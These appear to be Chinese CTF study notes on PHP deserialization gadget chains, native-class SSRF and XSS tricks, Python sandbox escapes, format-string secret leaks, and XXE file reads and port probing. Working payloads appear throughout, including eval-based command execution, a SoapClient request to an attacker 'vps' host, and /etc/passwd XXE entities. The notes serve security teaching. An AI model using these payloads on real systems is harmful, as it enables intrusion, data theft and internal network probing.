1 反序列化漏洞

此处以PHP反序列化为例,假设序列化前的对象如下:

1
2
3
4
5
class person {
public $name;
public $age=19;
public $sex;
}

通过 serialize() 函数进行序列化可以得到 O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}

其中 O 表示这是一个对象,6 表示对象名的长度,"person" 表示序列化的对象名称,3 表示对象有3个属性;第一个属性的 s 表示是字符串,4 表示是属性名的长度,后面说明属性名称为 "name",他的值是空 N;第二个属性的 s 表示是字符串,3 表示是属性名的长度,后面说明属性名称为 "age"i 表示为整型,值为 19;以此类推。

接下来举一个反序列化攻击的例子:

1
2
3
4
5
6
7
8
9
<?php
class test{
function __destruct() {
echo "destruct...<br>";
eval($_GET['cmd']); // 超级恶意代码!!!
}
}
unserialize($_GET['u']); // 用参数u来接收序列化后的字符串
?>

上述代码中定义了test类及其析构函数(在对象被销毁的时候调用),反序列化会重建对象,当对象被销毁时,自动调用其析构函数 __destruct()。对于参数cmd,我们可以传入一些恶意命令,例如 system("whoami")

再举一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
function __destruct() {
$this->ClassObj->action();
}
}

class evil {
private $data;
function action() {
eval($this->data);
}
}

上述代码构造了类lemon,以及其构造函数(新建一个evil类)和其析构函数(执行evil类的action()方法),在action方法中 eval($this->data); 可以执行任意代码。

注意,因为 $ClassObj 是protected属性,所以存在 %00*%00 来表示它,而 %00 是不可见字符,在构造Exploit的时候尽量使用urlencode后的字符串来避免 %00 的缺失。

1.1 原生类利用

实际的挖洞过程中经常会遇到没有合适的利用链,这就需要用到编程语言自带的原生类,以PHP为例。

  1. __call 方法:调用不存在的类时触发

    1
    2
    $rce = unserialize($_REQUEST['u'])
    echo $rce->notexist();

    通过unserialize进行反序列化,再调用类的notexibt()方法,即会触发__call()方法。PHP存在内置类 SoapClient::__Call,意味着可以进行一个SSRF攻击。

    1
    serialize(new SoapClient(null, array('uri'=>'http://vps/', 'location'=>'http://vps/aaa')))

    上面是对new SoapClient进行配置,将uri设置为自己VPS服务器地址。将以上生成的字符串放入unserialize函数进行反序列化,再进行不存在方法的调用,则会进行SSRF攻击。在 SoapClient 中,call() 的作用是根据传入的方法名和参数,构造一个 SOAP 请求。SoapClient::Call() 会依据指定的 location 属性,构造一个 XML 格式的 SOAP 请求,将请求发送到 location 指定的 URL。

  2. __toString 方法:当对象作为字符串处理时会自动触发

    1
    urlencode(serialize(new Exception("<scrpit>alert(/hello world/)</script>")))

    此处主要利用了Exception类没有对错误消息进行过滤,最终导致反序列化输出的内容在网页上构成XSS

  3. __construct 方法:

    通常情况下,在反序列化中时无法触发__construct魔术方法,但是经过开发者魔改后便可能存在任意类实例化的情况。

    参考:https://5haked.blogspot.jp/2016/10/how-i-hacked-pornhub-for-fun-and-profit.html?m=1

1.2 Tricks

  1. __wakeup失效:影响版本PHP5至5.6.25、PHP7至7.0.10

    __wakeup() 是 PHP 的一个魔术方法,主要在反序列化对象时被调用。它的主要功能是:

    ​ • 在对象反序列化后重新建立资源(例如数据库连接)。

    ​ • 执行一些安全检查,确保对象的状态在反序列化后是安全的。

    如果由于某些原因(当属性个数不对时,process_nested_data函数会返回0,导致后面的call_user_function_ex函数不会执行)则PHP中就不会调用__wakeup()。

    对应真实案例 SugarCRM v6.5.23

  2. bypass反序列化正则

    前提:在执行反序列化时,使用正则 /[oc]:\d+:/i 进行拦截,用于拦截反序列化字符串

    构造如下对象 O:+4:"demo":1:{s:5:"demoa";a:0:{}},PHP源码会对 O: 后为 + 的字符串进行特判,从而绕过。

  3. 反序列化字符逃逸

    我们编写一个 filter 函数,用来对字符串进行替换,将占位字符串替换为恶意字符串payload。 利用过滤函数提供的字符变化功能来逃逸可用字符串,从而注入想要修改的属性。

  4. PHP引用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    class just4fun {
    var $enter;
    var $secret;
    }
    $o = unserialize($_GET['d']);
    $o->secret = "you don't know the secret";
    if ($o->secret === $o->enter) {
    echo "win!";
    }

    通过代码可以看到,我们的目标是使if语句成立,即 $o->secret === $o->enter 为真。为此我们可以在初始化时利用 & 将 enter 指向 secret 的地址,通过引用的方式让两者的属性值相同。

    1
    2
    3
    4
    5
    6
    7
    class just4fun {
    var $enter;
    var $secret;
    function just4fun() {
    $this->enter = &$this->secret;
    }
    }
  5. Exception 绕过

    有时候会遇上throw问题,因为报错导致后面代码无法执行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    $line = trim(fgets(STDIN));
    $flag = file_get_contents('/flag');
    class B {
    function __destruct() {
    global $flag;
    echo $flag;
    }
    }
    $a = @unserialize($line);
    throw new Exception('Well this was unexcepted...');
    echo $a

    如果 line 的内容被反序列化为一个 B 类的实例对象,那么在程序退出时,这个对象会被销毁,从而触发 __destruct(),导致 flag 的内容被打印出来。

2. Python的安全问题

2.1 沙箱逃逸

CTF中存在一种让用户提交一段代码给服务端、让服务端去运行的题型,一般出题者会进行关键词过滤。

  1. 关键词过滤

    比如出题者过滤 lssystem 等词。但因为python时动态语言,这种情况很容易被绕过。

    1
    2
    3
    4
    5
    import os
    os.system("ls") # 运行操作系统命令 "ls"
    os.system("l" + "s")
    getattr(os, "sys" + "tem")("ls") # getattr()函数用于从对象中动态获取属性
    os.__getattribute__("system")("ls") # 直接获取模块的属性

    对于字符串,我们可以加入拼接、倒序或者base64编码等方法。

  2. 花样import

    很多情况下 import 关键词也会被过滤。

    1
    2
    3
    4
    import os
    __import__("os")
    import importlib
    importlib.import_module("os")
  3. 利用继承等寻找对象

    在Python中,一切都是对象,所以我们可以使用Python的内置方法来找到对象的父类和子类,甚至在受限环境中探索和访问我们需要的对象。如 __bases__ 属性可以访问父类, __subclasses__() 方法可以返回所有直接继承该类的子类,__mro__ 是用于查看类的继承顺序的方法等。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 搜索所有子类,查找可能的 Popen 类
    for subclass in object.__subclasses__():
    if 'Popen' in subclass.__name__:
    PopenClass = subclass
    break

    # 使用找到的 Popen 类执行命令
    popen_instance = PopenClass(["ls"], shell=True)
    popen_instance.communicate()
  4. eval类的代码执行

    eval类函数在任何语言都是一种危险的存在,我们在Python语言中可以通过 exec()(Python2)、 execfile()eval()compile()input() (Python2)等动态执行一段Python代码。】

2.2 格式化字符串

CTF的Python题目会设计Jinja2之类的模板引擎的注入。这些漏洞往往源于服务端没有对用户的输入进行过滤,直接带入了页面渲染。

  1. 最原始的 %

    1
    2
    3
    4
    5
    userdata = {"user": "jdoe", "password": "12345"}
    passwd = raw_input("Password: ")

    if passwd != userdata["password"]:
    print("Password " + passwd + "is wrong")

    上述代码实现了一个简单的登录功能,并且没有做任何过滤将用户的输入直接显示在了界面。因此如果我们的用户输入是 %(passwd)s 就可以获取用户的真实密码。

  2. Format 方法相关

    上一个例子还可以用format进行改写 print("Password " + passwd + "is wrong for user {user}").format(**userdata),此时如果恶意输入为 {password} 则可以获取用户的真实密码。

    除此之外,format方法还有其他应用:

    1
    2
    import os
    '0.system'.format(os)

    在这个例子中,字符串 0.system 中的 0 是一个占位符,通过 format(os) 替换 0 为 os。再继续获取相关属性,由此可以获取代码中的敏感信息。

2.3 Python XXE

XXE(XML External Entity Injection,XML 外部实体注入)是一种安全漏洞,允许攻击者利用 XML 解析器加载并执行外部实体。在处理不受信任的 XML 文件时,特别是使用不安全的解析器设置时,可能导致 XXE 漏洞。这类攻击可以泄露敏感信息、读取文件,甚至在某些情况下发起服务端请求。

例如,一个不安全的 XML 文件可能包含如下内容:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- 定义外部实体,指向系统文件 -->
]>
<data>&xxe;</data>

如果 XML 解析器不加限制地解析该 XML 文件,&xxe; 实体将被替换为 /etc/passwd 文件的内容,从而导致敏感信息泄露。

在 Python 中,xml.etree.ElementTree、lxml 等库如果配置不当,可能会受到 XXE 漏洞影响。以下是一个不安全的代码示例,展示如何使用 xml.etree.ElementTree 库解析含有 XXE 的 XML:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import xml.etree.ElementTree as ET

xml_data = """<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>"""

# 解析 XML(不安全)
try:
root = ET.fromstring(xml_data)
print(ET.tostring(root, encoding="unicode"))
except Exception as e:
print(f"An error occurred: {e}")

在这个示例中,&xxe; 实体指向文件 /etc/passwd,导致文件信息泄露。

除此之外,我们可以利用XXS进行内网端口和服务窥探:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY test SYSTEM "http://192.168.1.100:8080">
<!ENTITY test2 SYSTEM "http://192.168.1.100:22">
]>
<data>&test;</data>
  1. 如果端口开放且有响应,解析器会替换 &test; 和 &test2; 实体内容为返回的响应内容。

    1. 如果端口关闭或没有响应,解析器则不会返回内容(或抛出错误),从而可以推测端口状态。